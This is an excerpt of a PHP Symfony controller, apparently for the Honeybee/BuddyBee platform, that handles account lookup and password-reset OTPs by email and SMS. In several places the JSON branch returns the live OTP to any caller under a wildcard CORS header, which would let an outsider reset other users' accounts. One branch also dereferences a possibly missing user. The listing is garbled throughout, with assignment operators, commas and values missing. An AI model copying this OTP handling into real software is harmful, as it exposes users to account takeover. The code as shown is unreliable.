  8418.                         'appId' => 0,
  8419. //                        'appId'=>$userObj->getUserAppId(),
  8420.                     );
  8421.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8422.                     $email_twig_data = [
  8423.                         'page_title' => 'Find Account',
  8424.                         'encryptedData' => $encryptedData,
  8425.                         'message' => $message,
  8426.                         'userType' => $userType,
  8427.                         'errorField' => $errorField,
  8428.                         'otp' => $otpData['otp'],
  8429.                         'otpExpireSecond' => $otpExpireSecond,
  8430.                         'otpActionId' => UserConstants::OTP_ACTION_CONFIRM_EMAIL,
  8431.                         'otpExpireTs' => $otpData['expireTs'],
  8432.                         'systemType' => $systemType,
  8433.                         'userData' => $userData
  8434.                     ];
  8435.                     if ($userObj)
  8436.                         $email_twig_data['success'] = true;
  8437.                 } else {
  8438.                     $userType UserConstants::USER_TYPE_GENERAL;
  8439.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8440.                     $email_twig_data = [
  8441.                         'page_title' => 'Find Account',
  8442.                         'encryptedData' => $encryptedData,
  8443.                         'message' => $message,
  8444.                         'userType' => $userType,
  8445.                         'errorField' => $errorField,
  8446.                     ];
  8447.                 }
  8448.             } else if ($systemType == '_CENTRAL_') {
  8449.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8450.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8451.                     array(
  8452.                         'email' => $email_address
  8453.                     )
  8454.                 );
  8455.                 if ($userObj) {
  8456.                 } else {
  8457.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8458.                         array(
  8459.                             'oAuthEmail' => $email_address
  8460.                         )
  8461.                     );
  8462.                     if ($userObj) {
  8463.                     } else {
  8464.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8465.                             array(
  8466.                                 'username' => $email_address
  8467.                             )
  8468.                         );
  8469.                     }
  8470.                 }
  8471.                 if ($userObj) {
  8472.                     $email_address $userObj->getEmail();
  8473.                     if ($email_address == null || $email_address == '')
  8474.                         $email_address $userObj->getOAuthEmail();
  8475.                     //                    triggerResetPassword:
  8476. //                    type: integer
  8477. //                          nullable: true
  8478.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8479.                     $otp $otpData['otp'];
  8480.                     $otpExpireTs $otpData['expireTs'];
  8481.                     $userObj->setOtp($otpData['otp']);
  8482.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_CONFIRM_EMAIL);
  8483.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8484.                     $em_goc->flush();
  8485.                     $userData = array(
  8486.                         'id' => $userObj->getApplicantId(),
  8487.                         'email' => $email_address,
  8488.                         'appId' => 0,
  8489.                         'image' => $userObj->getImage(),
  8490.                         'firstName' => $userObj->getFirstname(),
  8491.                         'lastName' => $userObj->getLastname(),
  8492.                         'phone' => $userObj->getPhone(),
  8493. //                        'appId'=>$userObj->getUserAppId(),
  8494.                     );
  8495.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8496.                     $email_twig_data = [
  8497.                         'page_title' => 'Find Account',
  8498.                         'encryptedData' => $encryptedData,
  8499.                         'message' => $message,
  8500.                         'userType' => $userType,
  8501.                         'errorField' => $errorField,
  8502.                         'otp' => $otpData['otp'],
  8503.                         'otpExpireSecond' => $otpExpireSecond,
  8504.                         'otpActionId' => UserConstants::OTP_ACTION_CONFIRM_EMAIL,
  8505.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_CONFIRM_EMAIL]['actionTitle'],
  8506.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_CONFIRM_EMAIL]['actionDescForMail'],
  8507.                         'otpExpireTs' => $otpData['expireTs'],
  8508.                         'systemType' => $systemType,
  8509.                         'userCategory' => $userCategory,
  8510.                         'userData' => $userData
  8511.                     ];
  8512.                     $email_twig_data['success'] = true;
  8513.                 } else {
  8514.                     $message "Oops! Could not find your account";
  8515.                     $email_twig_data['success'] = false;
  8516.                 }
  8517.             } else if ($systemType == '_BUDDYBEE_') {
  8518.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8519.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8520.                     array(
  8521.                         'email' => $email_address
  8522.                     )
  8523.                 );
  8524.                 if ($userObj) {
  8525.                 } else {
  8526.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8527.                         array(
  8528.                             'oAuthEmail' => $email_address
  8529.                         )
  8530.                     );
  8531.                     if ($userObj) {
  8532.                     } else {
  8533.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8534.                             array(
  8535.                                 'username' => $email_address
  8536.                             )
  8537.                         );
  8538.                     }
  8539.                 }
  8540.                 if ($userObj) {
  8541.                     $email_address $userObj->getEmail();
  8542.                     if ($email_address == null || $email_address == '')
  8543.                         $email_address $userObj->getOAuthEmail();
  8544.                     //                    triggerResetPassword:
  8545. //                    type: integer
  8546. //                          nullable: true
  8547.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8548.                     $otp $otpData['otp'];
  8549.                     $otpExpireTs $otpData['expireTs'];
  8550.                     $userObj->setOtp($otpData['otp']);
  8551.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  8552.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8553.                     $em_goc->flush();
  8554.                     $userData = array(
  8555.                         'id' => $userObj->getApplicantId(),
  8556.                         'email' => $email_address,
  8557.                         'appId' => 0,
  8558.                         'image' => $userObj->getImage(),
  8559.                         'firstName' => $userObj->getFirstname(),
  8560.                         'lastName' => $userObj->getLastname(),
  8561.                         'phone' => $userObj->getPhone(),
  8562. //                        'appId'=>$userObj->getUserAppId(),
  8563.                     );
  8564.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8565.                     $email_twig_data = [
  8566.                         'page_title' => 'Find Account',
  8567.                         'encryptedData' => $encryptedData,
  8568.                         'message' => $message,
  8569.                         'userType' => $userType,
  8570.                         'errorField' => $errorField,
  8571.                         'otp' => $otpData['otp'],
  8572.                         'otpExpireSecond' => $otpExpireSecond,
  8573.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8574.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionTitle'],
  8575.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionDescForMail'],
  8576.                         'otpExpireTs' => $otpData['expireTs'],
  8577.                         'systemType' => $systemType,
  8578.                         'userCategory' => $userCategory,
  8579.                         'userData' => $userData
  8580.                     ];
  8581.                     $email_twig_data['success'] = true;
  8582.                 } else {
  8583.                     $message "Oops! Could not find your account";
  8584.                     $email_twig_data['success'] = false;
  8585.                 }
  8586.             }
  8587.             if ($email_twig_data['success'] == true && GeneralConstant::EMAIL_ENABLED == 1) {
  8588.                 if ($systemType == '_BUDDYBEE_') {
  8589.                     $bodyHtml '';
  8590.                     $bodyTemplate $email_twig_file;
  8591.                     $bodyData $email_twig_data;
  8592.                     $attachments = [];
  8593.                     $forwardToMailAddress $email_address;
  8594. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8595.                     $new_mail $this->get('mail_module');
  8596.                     $new_mail->sendMyMail(array(
  8597.                         'senderHash' => '_CUSTOM_',
  8598.                         //                        'senderHash'=>'_CUSTOM_',
  8599.                         'forwardToMailAddress' => $forwardToMailAddress,
  8600.                         'subject' => 'Account Verification',
  8601. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8602.                         'attachments' => $attachments,
  8603.                         'toAddress' => $forwardToMailAddress,
  8604.                         'fromAddress' => \ApplicationBundle\Helper\MailerConfig::address(),
  8605.                         'userName' => \ApplicationBundle\Helper\MailerConfig::address(),
  8606.                         'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  8607.                         'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  8608.                         'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  8609. //                            'emailBody' => $bodyHtml,
  8610.                         'mailTemplate' => $bodyTemplate,
  8611.                         'templateData' => $bodyData,
  8612. //                        'embedCompanyImage' => 1,
  8613. //                        'companyId' => $companyId,
  8614. //                        'companyImagePath' => $company_data->getImage()
  8615.                     ));
  8616.                 } else if ($systemType == '_CENTRAL_') {
  8617.                     $bodyHtml '';
  8618.                     $bodyTemplate $email_twig_file;
  8619.                     $bodyData $email_twig_data;
  8620.                     $attachments = [];
  8621.                     $forwardToMailAddress $email_address;
  8622. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8623.                     $new_mail $this->get('mail_module');
  8624.                     $new_mail->sendMyMail(array(
  8625.                         'senderHash' => '_CUSTOM_',
  8626.                         //                        'senderHash'=>'_CUSTOM_',
  8627.                         'forwardToMailAddress' => $forwardToMailAddress,
  8628.                         'subject' => 'Account Verification',
  8629. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8630.                         'attachments' => $attachments,
  8631.                         'toAddress' => $forwardToMailAddress,
  8632.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  8633.                         'userName' => 'accounts@ourhoneybee.eu',
  8634.                         'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  8635.                         'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  8636.                         'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  8637. //                            'emailBody' => $bodyHtml,
  8638.                         'mailTemplate' => $bodyTemplate,
  8639.                         'templateData' => $bodyData,
  8640. //                        'embedCompanyImage' => 1,
  8641. //                        'companyId' => $companyId,
  8642. //                        'companyImagePath' => $company_data->getImage()
  8643.                     ));
  8644.                 } else {
  8645.                     $bodyHtml '';
  8646.                     $bodyTemplate $email_twig_file;
  8647.                     $bodyData $email_twig_data;
  8648.                     $attachments = [];
  8649.                     $forwardToMailAddress $email_address;
  8650. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8651.                     $new_mail $this->get('mail_module');
  8652.                     $new_mail->sendMyMail(array(
  8653.                         'senderHash' => '_CUSTOM_',
  8654.                         //                        'senderHash'=>'_CUSTOM_',
  8655.                         'forwardToMailAddress' => $forwardToMailAddress,
  8656.                         'subject' => 'Applicant Registration on Honeybee',
  8657. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8658.                         'attachments' => $attachments,
  8659.                         'toAddress' => $forwardToMailAddress,
  8660.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  8661.                         'userName' => 'accounts@ourhoneybee.eu',
  8662.                         'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  8663.                         'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  8664.                         'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  8665.                         'emailBody' => $bodyHtml,
  8666.                         'mailTemplate' => $bodyTemplate,
  8667.                         'templateData' => $bodyData,
  8668. //                        'embedCompanyImage' => 1,
  8669. //                        'companyId' => $companyId,
  8670. //                        'companyImagePath' => $company_data->getImage()
  8671.                     ));
  8672.                 }
  8673.             }
  8674.             if ($email_twig_data['success'] == true && GeneralConstant::NOTIFICATION_ENABLED == && $userData['phone'] != '' && $userData['phone'] != null) {
  8675.                 if ($systemType == '_BUDDYBEE_') {
  8676.                     $searchVal = ['_OTP_''_EXPIRE_MINUTES_''_APPEND_CODE_'];
  8677.                     $replaceVal = [$otpfloor($otpExpireSecond 60), $appendCode];
  8678.                     $msg 'Use OTP _OTP_ for BuddyBee. Your OTP will expire in _EXPIRE_MINUTES_ minutes
  8679.                      _APPEND_CODE_';
  8680.                     $msg str_replace($searchVal$replaceVal$msg);
  8681.                     $emitMarker '_SEND_TEXT_TO_MOBILE_';
  8682.                     $sendType 'all';
  8683.                     $socketUserIds = [];
  8684.                     System::SendSmsBySocket($this->container->getParameter('notification_enabled'), $msg$userData['phone'], $emitMarker$sendType$socketUserIds);
  8685.                 } else {
  8686.                 }
  8687.             }
  8688.             if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  8689.                 $response = new JsonResponse(array(
  8690.                         'templateData' => $twigData,
  8691.                         'message' => $message,
  8692. //                        "otp"=>'',
  8693.                         "otp" => $otp,
  8694.                         "otpExpireTs" => $otpExpireTs,
  8695.                         'actionData' => $email_twig_data,
  8696.                         'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  8697.                     )
  8698.                 );
  8699.                 $response->headers->set('Access-Control-Allow-Origin''*');
  8700.                 return $response;
  8701.             } else if ($email_twig_data['success'] == true) {
  8702.                 $encData = array(
  8703.                     "userType" => $userType,
  8704.                     "otp" => '',
  8705. //                "otp"=>$otp,
  8706.                     "otpExpireTs" => $otpExpireTs,
  8707.                     "otpActionId" => UserConstants::OTP_ACTION_CONFIRM_EMAIL,
  8708.                     "userCategory" => $userCategory,
  8709.                     "userId" => $userData['id'],
  8710.                     "systemType" => $systemType,
  8711.                     "email" => $email_address,
  8712.                 );
  8713.                 $encDataStr $this->get('url_encryptor')->encrypt(json_encode($encData));
  8714.                 $url $this->generateUrl(
  8715.                     'verify_otp'
  8716.                 );
  8717.                 return $this->redirect($url "/" $encDataStr);
  8718. //                return $this->redirectToRoute("verify_otp_forgot_password",[
  8719. ////                    'encData'
  8720. ////                'id' => $isApplicantExist->getApplicantId(),
  8721. ////                'oAuthData' => $oAuthData,
  8722. ////                'refRoute' => $refRoute,
  8723. //                ]);
  8724.             }
  8725.         }
  8726.         if ($systemType == '_ERP_') {
  8727.             if ($userCategory == '_APPLICANT_') {
  8728.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8729.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8730.                 $twigData = [
  8731.                     'page_title' => 'Find Account',
  8732.                     'encryptedData' => $encryptedData,
  8733.                     'message' => $message,
  8734.                     'systemType' => $systemType,
  8735.                     'ownServerId' => $ownServerId,
  8736.                     'userType' => $userType,
  8737.                     'errorField' => $errorField,
  8738.                 ];
  8739.             } else {
  8740.                 $userType UserConstants::USER_TYPE_GENERAL;
  8741.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8742.                 $twigData = [
  8743.                     'page_title' => 'Find Account',
  8744.                     'encryptedData' => $encryptedData,
  8745.                     'systemType' => $systemType,
  8746.                     'ownServerId' => $ownServerId,
  8747.                     'message' => $message,
  8748.                     'userType' => $userType,
  8749.                     'errorField' => $errorField,
  8750.                 ];
  8751.             }
  8752.         } else if ($systemType == '_SOPHIA_') {
  8753.             $userType UserConstants::USER_TYPE_APPLICANT;
  8754.             $twig_file '@Sophia/pages/views/sophia_verify_email.html.twig';
  8755.             $twigData = [
  8756.                 'page_title' => 'Find Account',
  8757.                 'encryptedData' => $encryptedData,
  8758.                 'systemType' => $systemType,
  8759.                 'ownServerId' => $ownServerId,
  8760.                 "otp" => '',
  8761. //                "otp"=>$otp,
  8762.                 "otpExpireTs" => $otpExpireTs,
  8763.                 'message' => $message,
  8764.                 'userType' => $userType,
  8765.                 'errorField' => $errorField,
  8766.             ];
  8767.         } else if ($systemType == '_CENTRAL_') {
  8768.             $userType UserConstants::USER_TYPE_APPLICANT;
  8769.             $twig_file '@HoneybeeWeb/pages/verify_email.html.twig';
  8770.             $twigData = [
  8771.                 'page_title' => 'Find Account',
  8772.                 'encryptedData' => $encryptedData,
  8773.                 'systemType' => $systemType,
  8774.                 'ownServerId' => $ownServerId,
  8775.                 "otp" => '',
  8776. //                "otp"=>$otp,
  8777.                 "otpExpireTs" => $otpExpireTs,
  8778.                 'message' => $message,
  8779.                 'userType' => $userType,
  8780.                 'errorField' => $errorField,
  8781.             ];
  8782.         } else if ($systemType == '_BUDDYBEE_') {
  8783.             $userType UserConstants::USER_TYPE_APPLICANT;
  8784.             $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8785.             $twigData = [
  8786.                 'page_title' => 'Find Account',
  8787.                 'encryptedData' => $encryptedData,
  8788.                 "otp" => '',
  8789.                 'systemType' => $systemType,
  8790.                 'ownServerId' => $ownServerId,
  8791. //                "otp"=>$otp,
  8792.                 "otpExpireTs" => $otpExpireTs,
  8793.                 'message' => $message,
  8794.                 'userType' => $userType,
  8795.                 'errorField' => $errorField,
  8796.             ];
  8797.         }
  8798.         if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  8799.             $response = new JsonResponse(array(
  8800.                     'templateData' => $twigData,
  8801.                     'message' => $message,
  8802.                     "otp" => '',
  8803. //                "otp"=>$otp,
  8804.                     "otpExpireTs" => $otpExpireTs,
  8805.                     'actionData' => $email_twig_data,
  8806.                     'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  8807.                 )
  8808.             );
  8809.             $response->headers->set('Access-Control-Allow-Origin''*');
  8810.             return $response;
  8811.         } else {
  8812.             return $this->render(
  8813.                 $twig_file,
  8814.                 $twigData
  8815.             );
  8816.         }
  8817.     }
  8818.     public function FindAccountForAppAction(Request $request$encData ''$remoteVerify 0)
  8819.     {
  8820. //        $userCategory=$request->request->has('userCategory');
  8821.         $encryptedData = [];
  8822.         $errorField '';
  8823.         $message '';
  8824.         $userType '';
  8825.         $otpExpireSecond 180;
  8826.         $otpExpireTs 0;
  8827.         $otp '';
  8828.         if ($encData != '')
  8829.             $encryptedData json_decode($this->get('url_encryptor')->decrypt($encData), true);
  8830. //        $encryptedData = $this->get('url_encryptor')->decrypt($encData);
  8831.         $userCategory '_BUDDYBEE_USER_';
  8832.         if (isset($encryptedData['userCategory']))
  8833.             $userCategory $encryptedData['userCategory'];
  8834.         else
  8835.             $userCategory $request->request->get('userCategory''_BUDDYBEE_USER_');
  8836.         $em $this->getDoctrine()->getManager('company_group');
  8837.         $em_goc $this->getDoctrine()->getManager('company_group');
  8838.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  8839.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  8840.         $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8841.         $twigData = [];
  8842.         $email_twig_file '@Application/pages/email/find_account_buddybee.html.twig';
  8843.         $email_address $request->request->get('email''');
  8844.         $email_twig_data = [];
  8845.         $appendCode $request->request->get('appendCode'$request->query->get('appendCode'''));
  8846.         if ($request->isMethod('POST')) {
  8847.             //set an otp and its expire and send mail
  8848.             $email_address $request->request->get('email');
  8849.             $userObj null;
  8850.             $userData = [];
  8851.             if ($systemType == '_ERP_') {
  8852.                 if ($userCategory == '_APPLICANT_') {
  8853.                     $userType UserConstants::USER_TYPE_APPLICANT;
  8854.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8855.                         array(
  8856.                             'email' => $email_address
  8857.                         )
  8858.                     );
  8859.                     if ($userObj) {
  8860.                     } else {
  8861.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8862.                             array(
  8863.                                 'oAuthEmail' => $email_address
  8864.                             )
  8865.                         );
  8866.                         if ($userObj) {
  8867.                         } else {
  8868.                             $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8869.                                 array(
  8870.                                     'username' => $email_address
  8871.                                 )
  8872.                             );
  8873.                         }
  8874.                     }
  8875.                     if ($userObj) {
  8876.                         $email_address $userObj->getEmail();
  8877.                         if ($email_address == null || $email_address == '')
  8878.                             $email_address $userObj->getOAuthEmail();
  8879.                     }
  8880. //                    triggerResetPassword:
  8881. //                    type: integer
  8882. //                          nullable: true
  8883.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8884.                     $otp $otpData['otp'];
  8885.                     $otpExpireTs $otpData['expireTs'];
  8886.                     $userObj->setOtp($otpData['otp']);
  8887.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  8888.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8889.                     $em_goc->flush();
  8890.                     $userData = array(
  8891.                         'id' => $userObj->getApplicantId(),
  8892.                         'email' => $email_address,
  8893.                         'appId' => 0,
  8894. //                        'appId'=>$userObj->getUserAppId(),
  8895.                     );
  8896.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8897.                     $email_twig_data = [
  8898.                         'page_title' => 'Find Account',
  8899.                         'encryptedData' => $encryptedData,
  8900.                         'message' => $message,
  8901.                         'userType' => $userType,
  8902.                         'errorField' => $errorField,
  8903.                         'otp' => $otpData['otp'],
  8904.                         'otpExpireSecond' => $otpExpireSecond,
  8905.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8906.                         'otpExpireTs' => $otpData['expireTs'],
  8907.                         'systemType' => $systemType,
  8908.                         'userData' => $userData
  8909.                     ];
  8910.                     if ($userObj)
  8911.                         $email_twig_data['success'] = true;
  8912.                 } else {
  8913.                     $userType UserConstants::USER_TYPE_GENERAL;
  8914.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8915.                     $email_twig_data = [
  8916.                         'page_title' => 'Find Account',
  8917.                         'encryptedData' => $encryptedData,
  8918.                         'message' => $message,
  8919.                         'userType' => $userType,
  8920.                         'errorField' => $errorField,
  8921.                     ];
  8922.                 }
  8923.             } else if ($systemType == '_CENTRAL_') {
  8924.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8925.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8926.                     array(
  8927.                         'email' => $email_address
  8928.                     )
  8929.                 );
  8930.                 if ($userObj) {
  8931.                 } else {
  8932.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8933.                         array(
  8934.                             'oAuthEmail' => $email_address
  8935.                         )
  8936.                     );
  8937.                     if ($userObj) {
  8938.                     } else {
  8939.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8940.                             array(
  8941.                                 'username' => $email_address
  8942.                             )
  8943.                         );
  8944.                     }
  8945.                 }
  8946.                 if ($userObj) {
  8947.                     $email_address $userObj->getEmail();
  8948.                     if ($email_address == null || $email_address == '')
  8949.                         $email_address $userObj->getOAuthEmail();
  8950.                     //                    triggerResetPassword:
  8951. //                    type: integer
  8952. //                          nullable: true
  8953.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8954.                     $otp $otpData['otp'];
  8955.                     $otpExpireTs $otpData['expireTs'];
  8956.                     $userObj->setOtp($otpData['otp']);
  8957.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  8958.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8959.                     $em_goc->flush();
  8960.                     $userData = array(
  8961.                         'id' => $userObj->getApplicantId(),
  8962.                         'email' => $email_address,
  8963.                         'appId' => 0,
  8964.                         'image' => $userObj->getImage(),
  8965.                         'firstName' => $userObj->getFirstname(),
  8966.                         'lastName' => $userObj->getLastname(),
  8967.                         'phone' => $userObj->getPhone(),
  8968. //                        'appId'=>$userObj->getUserAppId(),
  8969.                     );
  8970.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8971.                     $email_twig_data = [
  8972.                         'page_title' => 'Find Account',
  8973.                         'encryptedData' => $encryptedData,
  8974.                         'message' => $message,
  8975.                         'userType' => $userType,
  8976.                         'errorField' => $errorField,
  8977.                         'otp' => $otpData['otp'],
  8978.                         'otpExpireSecond' => $otpExpireSecond,
  8979.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8980.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionTitle'],
  8981.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionDescForMail'],
  8982.                         'otpExpireTs' => $otpData['expireTs'],
  8983.                         'systemType' => $systemType,
  8984.                         'userCategory' => $userCategory,
  8985.                         'userData' => $userData
  8986.                     ];
  8987.                     $email_twig_data['success'] = true;
  8988.                 } else {
  8989.                     $message "Oops! Could not find your account";
  8990.                     $email_twig_data['success'] = false;
  8991.                 }
  8992.             }
  8993.             if ($email_twig_data['success'] == true && GeneralConstant::EMAIL_ENABLED == 1) {
  8994.                 if ($systemType == '_CENTRAL_') {
  8995.                     $bodyHtml '';
  8996.                     $bodyTemplate $email_twig_file;
  8997.                     $bodyData $email_twig_data;
  8998.                     $attachments = [];
  8999.                     $forwardToMailAddress $email_address;
  9000. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  9001.                     $new_mail $this->get('mail_module');
  9002.                     $new_mail->sendMyMail(array(
  9003.                         'senderHash' => '_CUSTOM_',
  9004.                         //                        'senderHash'=>'_CUSTOM_',
  9005.                         'forwardToMailAddress' => $forwardToMailAddress,
  9006.                         'subject' => 'Account Verification',
  9007. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  9008.                         'attachments' => $attachments,
  9009.                         'toAddress' => $forwardToMailAddress,
  9010.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  9011.                         'userName' => 'accounts@ourhoneybee.eu',
  9012.                         'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  9013.                         'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  9014.                         'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  9015. //                            'emailBody' => $bodyHtml,
  9016.                         'mailTemplate' => $bodyTemplate,
  9017.                         'templateData' => $bodyData,
  9018. //                        'embedCompanyImage' => 1,
  9019. //                        'companyId' => $companyId,
  9020. //                        'companyImagePath' => $company_data->getImage()
  9021.                     ));
  9022.                 } else {
  9023.                     $bodyHtml '';
  9024.                     $bodyTemplate $email_twig_file;
  9025.                     $bodyData $email_twig_data;
  9026.                     $attachments = [];
  9027.                     $forwardToMailAddress $email_address;
  9028. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  9029.                     $new_mail $this->get('mail_module');
  9030.                     $new_mail->sendMyMail(array(
  9031.                         'senderHash' => '_CUSTOM_',
  9032.                         //                        'senderHash'=>'_CUSTOM_',
  9033.                         'forwardToMailAddress' => $forwardToMailAddress,
  9034.                         'subject' => 'Applicant Registration on Honeybee',
  9035. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  9036.                         'attachments' => $attachments,
  9037.                         'toAddress' => $forwardToMailAddress,
  9038.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  9039.                         'userName' => 'accounts@ourhoneybee.eu',
  9040.                         'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  9041.                         'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  9042.                         'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  9043.                         'emailBody' => $bodyHtml,
  9044.                         'mailTemplate' => $bodyTemplate,
  9045.                         'templateData' => $bodyData,
  9046. //                        'embedCompanyImage' => 1,
  9047. //                        'companyId' => $companyId,
  9048. //                        'companyImagePath' => $company_data->getImage()
  9049.                     ));
  9050.                 }
  9051.             }
  9052.             if ($email_twig_data['success'] == true && GeneralConstant::NOTIFICATION_ENABLED == && $userData['phone'] != '' && $userData['phone'] != null) {
  9053.                 if ($systemType == '_BUDDYBEE_') {
  9054.                     $searchVal = ['_OTP_''_EXPIRE_MINUTES_''_APPEND_CODE_'];
  9055.                     $replaceVal = [$otpfloor($otpExpireSecond 60), $appendCode];
  9056.                     $msg 'Use OTP _OTP_ for BuddyBee. Your OTP will expire in _EXPIRE_MINUTES_ minutes
  9057.                      _APPEND_CODE_';
  9058.                     $msg str_replace($searchVal$replaceVal$msg);
  9059.                     $emitMarker '_SEND_TEXT_TO_MOBILE_';
  9060.                     $sendType 'all';
  9061.                     $socketUserIds = [];
  9062.                     System::SendSmsBySocket($this->container->getParameter('notification_enabled'), $msg$userData['phone'], $emitMarker$sendType$socketUserIds);
  9063.                 } else {
  9064.                 }
  9065.             }
  9066.             if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  9067.                 $response = new JsonResponse(array(
  9068.                         'templateData' => $twigData,
  9069.                         'message' => $message,
  9070. //                        "otp"=>'',
  9071.                         "otp" => $otp,
  9072.                         "otpExpireTs" => $otpExpireTs,
  9073.                         'actionData' => $email_twig_data,
  9074.                         'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  9075.                     )
  9076.                 );
  9077.                 $response->headers->set('Access-Control-Allow-Origin''*');
  9078.                 return $response;
  9079.             } else if ($email_twig_data['success'] == true) {
  9080.                 $encData = array(
  9081.                     "userType" => $userType,
  9082.                     "otp" => '',
  9083. //                "otp"=>$otp,
  9084.                     "otpExpireTs" => $otpExpireTs,
